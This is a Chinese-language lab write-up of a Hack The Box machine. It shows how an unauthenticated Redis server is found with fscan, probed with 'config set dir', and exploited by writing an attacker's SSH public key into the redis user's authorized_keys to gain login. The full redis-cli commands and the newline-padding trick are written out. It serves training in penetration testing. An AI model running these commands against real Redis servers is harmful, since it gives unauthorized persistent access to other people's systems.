Redis未授权的美妙世界

在多次攻防项目中都碰到过redis未授权;但之前一直对这块不了解,用现成的梭哈工具都用不明白。但我又比较懒,懒得搭靶场。所以,找HTB中相关的靶场玩了。

0x01 信息收集

目标IP : 10.10.10.160

fscan扫一下

./fscan -h 10.10.10.160 -p 1-65535
   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
10.10.10.160:22 open
10.10.10.160:80 open
10.10.10.160:6379 open
10.10.10.160:10000 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://10.10.10.160       code:200 len:3844   title:The Cyber Geek's Personal Website
[*] WebTitle https://10.10.10.160:10000 code:200 len:4566   title:Login to Webmin
[+] Redis 10.10.10.160:6379 unauthorized file:/var/lib/redis/dump.rdb
[+] Redis 10.10.10.160:6379 like can write /var/spool/cron/

可以看到 fscan扫出来6379这个redis相关端口,并且存在未授权。

不知道是什么操作系统,掏出nmap再探测一下

sudo nmap -O <目标IP地址>

扫描发现 nmap也扫不出来

0x02 边界突破

nmap扫描不出来,就只能靠redis的目录配置来确定了

我先按照abc师傅在希谭实验室公众号分享的文章,配置一下利用环境:直接用Windows对redis linux进行利用。

先下载一个redis-cli.exe

https://github.com/redis-windows/redis-windows/releases

0x02.1 操作系统判断

通过以下命令,判断是否为linux机器

config set dir /tmp
D:\software\Redis-6.2.17\Redis-6.2.17-Windows-x64-cygwin>redis-cli.exe -h 10.10.10.160
10.10.10.160:6379>
10.10.10.160:6379> config set dir /tmp
OK
(0.53s)

返回ok,说明是linux机器。

0x02.2 判断是否能写root下.ssh

10.10.10.160:6379> config set dir /root/.ssh
(error) ERR Changing directory: Permission denied

权限不够,不太彳亍。

0x02.3 回到redis默认安装路径

我们回到redis默认安装路径,并判断该路径下是否存在.ssh/目录

10.10.10.160:6379> config set dir /var/lib/redis/.ssh
OK

可以发现,竟然存在!

到这里会有两个疑问

Q1:redis服务,一般都会有对应的redis用户吗?

Q2:默认路径下,一般都会有.ssh目录吗?

问大模型,它给出了如下解释

A1:

通常情况下,为了安全起见,建议在 Linux 系统上为 Redis 服务创建一个专门的用户。

  • 安全考虑: 运行 Redis 服务通常不需要 root 权限。为了降低潜在的安全风险,最佳实践是创建一个非特权用户来运行 Redis 进程。这样,即使 Redis 服务出现漏洞,攻击者也无法直接获得 root 权限。
  • 隔离和管理: 使用专门的用户可以更好地隔离 Redis 服务与其他系统进程,方便进行权限管理和资源控制。

A2:

Redis 服务本身通常不会主动创建或使用 **.ssh** 目录。

  • **.ssh** 目录的作用:.ssh 目录是用于存储用户的 SSH (Secure Shell) 密钥和配置文件的目录。它主要用于安全的远程登录和执行命令。
  • Redis 的功能: Redis 是一个内存中的数据结构存储系统,它主要用于数据缓存、消息队列等场景。它本身并不需要进行 SSH 连接来运行。

但是,存在以下几种可能导致 Redis 相关的 **.ssh** 目录的情况,但这并非 Redis 服务本身的特性:

  1. 运行 Redis 服务的用户有自己的 SSH 配置: 如果你使用一个已经拥有 SSH 配置的用户(例如 redis 用户,如果它被创建来运行 Redis 并且也被用于其他目的),那么这个用户目录下自然会有 .ssh 目录。这与 Redis 服务本身无关。
  2. 人为创建: 有些用户可能会出于特定的管理或部署目的,手动在 Redis 的相关用户目录下创建 .ssh 目录。例如,可能用于通过 SSH 管理 Redis 服务器上的其他服务,但这与 Redis 进程的运行没有直接关系。

0x02.4 写入ssh公钥

生成公私钥对——方法一:命令行

可以使用如下命令生成一个公私钥对,其中目录./ssh是自定义的用于存在生成的公私钥。

ssh-keygen -t rsa -b 2048 -f ./ssh/id_rsa2048
ubuntu@10-7-42-34:~$ ssh-keygen -t rsa -b 2048 -f ./ssh/id_rsa2048
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./ssh/id_rsa2048
Your public key has been saved in ./ssh/id_rsa2048.pub
The key fingerprint is:
SHA256:mPS7qgooVAF54PY8vbv5evSLvfo/MOU9OYKM1orjS+A ubuntu@10-7-42-34
The key's randomart image is:
+---[RSA 2048]----+
| o+.             |
|.. ..            |
| o..  .          |
|. + .. +   .     |
| . = .o S + . .  |
|o . o .+ B o =   |
|+  E o+ + o . o  |
|..  .ooooo .     |
|  ..oOO=+=+..    |
+----[SHA256]-----+

之后会提示设置一个密码短语;可以滞空。

可以看到 在目录下生成了公私钥对

ubuntu@10-7-42-34:~/ssh$ ls
id_rsa2048  id_rsa2048.pub

读取公钥

ubuntu@10-7-42-34:~/ssh$ cat *pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPA0/3YDeVSVsWNOEbnxgS9VIGktd++SJAX9Phy+gB5lDx5XZ3bXpDHcwridfAwCqQviSMjNPy+VtsmJoGihqhiMGruXxelRxZsLCQ+67T8lDJu1/4/D89hFZYsoM5R3DFeAYwKCar2vxnZrTXV+9lmEHbFXNoYVpBBH12BEbRCG2LVHe5k9vjorO6b/0fjcXl/UrA9cbRiE2ugZilphfz/aSzUMeyn0xdehLP5uK69myWVqQ5ldtW6PRFvN2J+Ecat+O7NOCddTnGa4f1gL59oE7Nv7gXg2P2VVbKQj9jdkPGeNi8HwU9wgz056IKc4bAGg2xTMpqVCDoC1gut7av ubuntu@10-7-42-34

写入到目标服务器的authorized_keys文件中。

set x "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPA0/3YDeVSVsWNOEbnxgS9VIGktd++SJAX9Phy+gB5lDx5XZ3bXpDHcwridfAwCqQviSMjNPy+VtsmJoGihqhiMGruXxelRxZsLCQ+67T8lDJu1/4/D89hFZYsoM5R3DFeAYwKCar2vxnZrTXV+9lmEHbFXNoYVpBBH12BEbRCG2LVHe5k9vjorO6b/0fjcXl/UrA9cbRiE2ugZilphfz/aSzUMeyn0xdehLP5uK69myWVqQ5ldtW6PRFvN2J+Ecat+O7NOCddTnGa4f1gL59oE7Nv7gXg2P2VVbKQj9jdkPGeNi8HwU9wgz056IKc4bAGg2xTMpqVCDoC1gut7av ubuntu@10-7-42-34"

输入save,保存Redis配置并写入SSH公钥文件。

生成公私钥对——方法二:Termius

我最爱的终端工具Termius,除了有好看的界面,也能生成公私钥对。

img

选择RSA 2048 即可生成公私钥对

img

0x02.5 登陆ssh

发现无论是 方法一还是方法二 ;都无法免密登录

img

猜测可能是写入公钥的时候,前后少了两个换行符\n\n

我们再次尝试:

10.10.10.160:6379> set x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOuRcuXhZoAorW/qYWX4aaoAzMbSuR9NAV6K4/88CLwD30AMGq14YtgRwCeiZH1fWwNhOBIfafAlpraHvY4VoCuyRmXmRItgl13JEMUENOMxnD3EI4GhFea6keeUaSiSar3q5NmN3cVEvBeOhcvK643KndVFc5JLO6qD+8ScNrR8R5uf5XlLRUMT01D7jtUCLmvo1wNASPK8Mg9nS6p3nPSVDWvlPrTNdlSRCct6st0AUR9SU1WmJ4Ar6LLoSlrSGmM31RWR2agOzbzAY0eSezc7zNxEWh7jdbksA8kzCzdKqA3HUN6kEPTJHAZ5vDKxjXaz9K2aWnHHH48uxKKj9P Generated By Termius\n\n"
OK
10.10.10.160:6379> save
OK
(0.53s)
img

这下成功了~

0x03 总结

  • 记得写公钥时前后加俩换行符\n\n
  • 实战中可能没权限写入到root用户的/.ssh目录下;但如果当前用户有/.ssh 目录;就可以写入。